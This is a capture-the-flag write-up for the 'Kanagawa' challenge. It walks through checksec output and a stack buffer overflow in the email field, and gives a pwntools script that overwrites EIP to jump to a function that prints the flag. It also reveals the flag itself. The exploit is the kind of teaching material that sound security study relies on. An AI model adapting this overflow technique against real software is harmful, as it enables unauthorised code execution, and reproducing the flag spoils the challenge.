

Kanagawa

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Tags: [bufferoverflow](#) [pwn](#) [rop](#)

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The given binary asks for mail address and a message, and always reply with "Our security team will reply as soon as possible."

While looking at the output of `strings`, I found this interesting string: `cat ./flag` After that, I examined the security features of the binary using `checksec`

```
$ checksec kanagawa
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x8048000)
```

Because of the lack of PIE and stack canary, and a buffer overflow vulnerability in the mail input (found by viewing the disassembly), It is possible to reach the system("cat ./flag") using ROP. The call to cat the flag appears in a function named "recovery_mode", so I just need to overwrite eip with the address of this function. Here is the exploit script using pwntools:

```
from pwn import *

context.arch = 'i386'
context.log_level = 'debug'

elf = ELF('kanagawa')

if not args.REMOTE:
    p = elf.process()
else:
    host, port = 'challs.dvc.tf', 4444
    p = remote(host, port)

recovery_mode = elf.symbols['recovery_mode'] # executes system("cat ./flag")

offset = 40 # determined by lowest segfault
padding = b'A' * offset

payload = padding
payload += p32(recovery_mode)

p.sendlineafter("Email: ", payload)

flag = p.recvline()
log.success(f"Flag: {flag.decode().strip()}")
```

Run with: `$ python3 solution.py REMOTE`

The flag is spitted out! dvCTF{0v3rf10w_tsun4m1}

Comments

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